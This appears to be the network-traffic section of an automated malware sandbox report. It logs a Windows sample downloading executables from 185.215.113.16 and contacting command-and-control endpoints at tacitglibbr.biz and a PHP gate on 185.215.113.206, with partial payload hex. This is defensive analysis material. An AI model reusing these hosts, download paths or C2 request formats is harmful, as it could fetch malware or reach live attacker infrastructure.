Dec 16, 2024 15:38:31.072593927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.073291063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.073348045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.073354959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.073400021 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.073832035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.073889971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.074071884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.074079037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.074120045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.074146986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.074157953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.074209929 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.074798107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.074821949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.074860096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.074872971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.074959993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.075012922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.129657984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.129683018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.129692078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.129755974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.129791021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.129956007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.130028963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.130049944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.130076885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.130461931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.130552053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.130562067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.130567074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.130599022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.130650997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.131354094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.131361008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.131371975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.131419897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.131432056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.131838083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.131887913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.131895065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.131939888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.131989002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.132622957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.132714987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.132750034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.176106930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.205387115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.205518007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.205523968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.205585957 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.205594063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.205733061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.205754995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.205790043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.205797911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.205842018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.206397057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.206490040 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.206496000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.206501961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.206545115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.206573009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.207029104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.207103014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.207118034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.207169056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.254853964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:31.301098108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:31.484257936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:35.611560106 CET	49782	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:38:35.731628895 CET	80	49782	185.215.113.206	192.168.2.6
Dec 16, 2024 15:38:35.731787920 CET	49782	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:38:35.735744953 CET	49782	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:38:35.855782032 CET	80	49782	185.215.113.206	192.168.2.6
Dec 16, 2024 15:38:37.092158079 CET	80	49782	185.215.113.206	192.168.2.6
Dec 16, 2024 15:38:37.092308998 CET	49782	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:38:37.095758915 CET	49782	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:38:37.215634108 CET	80	49782	185.215.113.206	192.168.2.6
Dec 16, 2024 15:38:37.758642912 CET	80	49782	185.215.113.206	192.168.2.6
Dec 16, 2024 15:38:37.758861065 CET	49782	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:38:41.762330055 CET	49782	80	192.168.2.6	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:38:01.916384935 CET	50411	53	192.168.2.6	1.1.1.1
Dec 16, 2024 15:38:02.057480097 CET	53	50411	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 15:38:01.916384935 CET	192.168.2.6	1.1.1.1	0xe816	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 15:38:02.057480097 CET	1.1.1.1	192.168.2.6	0xe816	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:38:02.057480097 CET	1.1.1.1	192.168.2.6	0xe816	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tacitglibbr.biz

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49747	185.215.113.16	80	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:38:21.842778921 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:38:23.174896955 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:38:22 GMT Content-Type: application/octet-stream Content-Length: 2776576 Last-Modified: Mon, 16 Dec 2024 13:42:20 GMT Connection: keep-alive ETag: "67602e3c-2a5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +R+`Ui` @ @.rsrc`2@.idata 8@rogrptwg):@cpllbfsp 8@.taggant@"<*@
Dec 16, 2024 15:38:23.174937963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:38:23.174951077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:38:23.175025940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:38:23.175034046 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:38:23.175046921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:38:23.175054073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:38:23.175066948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: N[qr1N H0>V*FKAKM49;$fih'K1L2R^uo#OMF[V81u.[,CQFeNEMdJH
Dec 16, 2024 15:38:23.175236940 CET	1236	IN	Data Raw: d3 b7 8d f6 15 41 d4 27 5d e1 52 39 15 0d 47 8e d1 ff c6 3c 92 57 1b 33 cb ed b0 b5 3e ed c6 5f 14 98 43 36 e6 76 60 12 0f f0 92 4f c8 5c 48 3f c6 04 bc 50 0a 5e 62 5e 28 ef 0f 39 81 cf 63 32 aa 5b 51 5a 5b 0f 83 42 2a e4 25 4b e7 8e e7 62 e8 17 Data Ascii: A']R9G<W3>_C6v`O\H?P^b^(9c2[QZ[B*%KbD#8/b{4GAHLy0#eI.CH@I,_<<8AOwrL}dRD1YLr@xJW6H0HP;TX;j<p4!pj1qAKXaq6;qE
Dec 16, 2024 15:38:23.175245047 CET	1236	IN	Data Raw: 84 51 04 55 7f 3e 4a 6c 51 6e 98 92 6f 64 8f 9f 79 54 b6 b6 1c 2c 1d 65 dd 4a 55 91 7d 45 44 96 6a f1 72 74 6b f7 cd af 46 9c b3 a7 67 ce 93 26 7c 55 b2 e9 a2 9e 4b dc 86 e5 8e 4b 4c f5 96 f4 cd 2d b7 e4 7a 84 a7 92 3c fe ac 29 9d 97 b5 94 18 76 Data Ascii: QU>JlQnodyT,eJU}EDjrtkFg&\|UKKL-z<)vWOl!To\vIm+.WpSO\|nrO\|56"[:1oP:jh8<N6qV/7[]XGaHoTC?RBX5_phZa'V8vR\C:_4{Z#srho
Dec 16, 2024 15:38:23.295099974 CET	1236	IN	Data Raw: f7 4a 20 11 4d 1c 87 85 82 ba 4a 01 53 83 cf c2 93 fa 60 43 2a 3d 6f 1a b4 ff e2 3a df 3c 4f 81 2d 2c 8b f8 cf 4b 74 4e 78 a9 c7 72 c7 57 66 0c 2b 2b 59 9c 5c 5a 4a 82 2e 20 13 7b 4f 2e f3 4c 36 91 1d d3 1e e1 5c 86 d6 5c d3 4c cb 5b b7 0a 1e 3a Data Ascii: J MJS`C*=o:<O-,KtNxrWf++Y\ZJ. {O.L6\\L[:<{YrTMo#?/`bv}-54^"G1Dr=.Cez,6W<t3$Q77LA0LAkMM{CXKo?2V@@cE_OP6"u?Jbq
Dec 16, 2024 15:38:27.935460091 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:38:28.372222900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:38:27 GMT Content-Type: application/octet-stream Content-Length: 1796608 Last-Modified: Mon, 16 Dec 2024 13:43:52 GMT Connection: keep-alive ETag: "67602e98-1b6a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg* i@Pi:@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@szaazyea@O~@jswuitsriD@.taggant0 i"H@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49782	185.215.113.206	80	992	C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:38:35.735744953 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:38:37.092158079 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:38:37.095758915 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 32 45 41 33 39 45 32 43 37 39 33 39 39 34 38 38 30 37 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="hwid"C72EA39E2C793994880753------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="build"stok------BKFHCGIDBAAFHIDHDAAE--
Dec 16, 2024 15:38:37.758642912 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	104.21.50.161	443	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:38:03 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 14:38:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:38:04 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9fsjibst17bjgurshjp6bm4u0b; expires=Fri, 11-Apr-2025 08:24:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A6Ks%2FRakj6IRMhVM3nhUcFnrpQDLr45C%2BtNlrjRCsM5XLlPr6%2F6uZmZzjE4GIO36yNc8NvkfP1mTHetSgG5BW0eKoWwEajcsmf9ER6TIZvdaj60%2FdtJDmojPFvwbD%2BU5W0E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f6a38fe5c43ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1640&min_rtt=1630&rtt_var=631&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1705607&cwnd=237&unsent_bytes=0&cid=72a24aac5694df7b&ts=750&x=0"
2024-12-16 14:38:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:38:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49709	104.21.50.161	443	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:38:05 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 14:38:05 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 14:38:06 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0v35pobs1sph1bbm9vu1hu2n7u; expires=Fri, 11-Apr-2025 08:24:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jk%2F5wnTSD8BDWNlCBZwI1Pnk8ijIvZCoq6swEyz8qLOmbpKMLyXZPGIIoLU22ct%2Bl3actXNPrcWZqRicCySxXVHmbzRNj%2FerLavaxw5izbSIHje5svsKLfweRxmP4n1vECA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f6a4538f542cc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1580&rtt_var=641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=1645070&cwnd=169&unsent_bytes=0&cid=6a4245a05089dabc&ts=735&x=0"
2024-12-16 14:38:06 UTC	358	IN	Data Raw: 34 39 31 63 0d 0a 5a 42 50 70 6c 35 54 49 56 41 72 4d 57 33 41 67 4d 66 47 73 48 37 31 49 66 49 78 50 57 4c 70 6f 6a 6b 64 6a 53 6e 7a 78 4e 55 4d 66 4d 5a 2b 31 72 76 78 34 4b 4c 38 2b 55 68 70 46 67 39 6c 36 6b 57 6f 64 36 47 31 69 33 41 6e 69 4e 41 5a 6d 58 6f 64 59 59 56 35 31 69 50 76 6e 72 58 67 6f 71 53 4e 53 47 6d 71 4b 6a 6e 72 54 61 6b 61 75 4b 6a 4c 59 43 65 49 6c 41 69 45 54 67 56 6b 67 44 48 2b 4f 2f 2f 47 72 4d 47 75 67 4e 68 56 46 56 4a 44 47 63 64 51 6c 46 4f 46 74 64 4a 67 4e 39 47 56 5a 61 44 47 55 51 53 49 70 63 70 72 38 74 72 56 34 63 65 34 2b 48 67 49 4c 30 38 31 36 33 79 51 61 36 43 51 77 30 67 44 71 4a 41 63 67 44 4a 68 54 4b 77 78 78 6a 66 37 37 6f 69 52 6d 71 6a 45 65 51 31 36 51 6a 6a 4f 66 4c 51 61 75 64 58 71 4c 4f 4f 38 30 45 Data Ascii: 491cZBPpl5TIVArMW3AgMfGsH71IfIxPWLpojkdjSnzxNUMfMZ+1rvx4KL8+UhpFg9l6kWod6G1i3AniNAZmXodYYV51iPvnrXgoqSNSGmqKjnrTakauKjLYCeIlAiETgVkgDH+O//GrMGugNhVFVJDGcdQlFOFtdJgN9GVZaDGUQSIpcpr8trV4ce4+HgIL08163yQa6CQw0gDqJAcgDJhTKwxxjf77oiRmqjEeQ16QjjOfLQaudXqLOO80E
2024-12-16 14:38:06 UTC	1369	IN	Data Raw: 70 6a 49 5a 52 30 47 59 78 33 44 53 4b 68 50 6b 49 6a 6e 59 44 65 59 76 44 69 49 61 6e 6c 6f 6e 42 6e 48 4c 75 37 61 74 4c 69 6a 32 65 54 46 48 51 35 54 43 61 35 30 51 58 76 46 6a 49 35 67 4e 34 47 56 5a 61 42 61 57 56 43 49 4e 66 6f 6a 39 2f 62 67 32 65 71 67 30 46 31 42 56 6c 73 42 33 33 44 67 55 34 43 73 35 30 51 48 6c 49 41 59 73 58 74 30 58 4a 68 34 78 30 37 58 58 70 7a 31 6b 70 43 34 53 41 6b 7a 64 31 7a 33 59 4a 6c 36 32 62 54 37 5a 44 75 30 68 44 79 59 61 6e 31 45 76 43 33 36 4e 2f 2f 61 74 50 47 43 6d 4f 42 39 4a 58 4a 50 4c 63 4e 73 73 45 75 38 6f 65 70 5a 4b 36 7a 31 42 63 46 36 39 55 43 49 55 4d 37 37 32 2b 4b 51 78 66 75 34 6d 58 46 73 54 6c 4d 49 39 68 32 6f 51 36 79 49 6f 32 52 6a 70 4b 78 4d 6b 47 35 56 61 49 67 68 78 6a 76 4c 37 70 44 42 Data Ascii: pjIZR0GYx3DSKhPkIjnYDeYvDiIanlonBnHLu7atLij2eTFHQ5TCa50QXvFjI5gN4GVZaBaWVCINfoj9/bg2eqg0F1BVlsB33DgU4Cs50QHlIAYsXt0XJh4x07XXpz1kpC4SAkzd1z3YJl62bT7ZDu0hDyYan1EvC36N//atPGCmOB9JXJPLcNssEu8oepZK6z1BcF69UCIUM772+KQxfu4mXFsTlMI9h2oQ6yIo2RjpKxMkG5VaIghxjvL7pDB
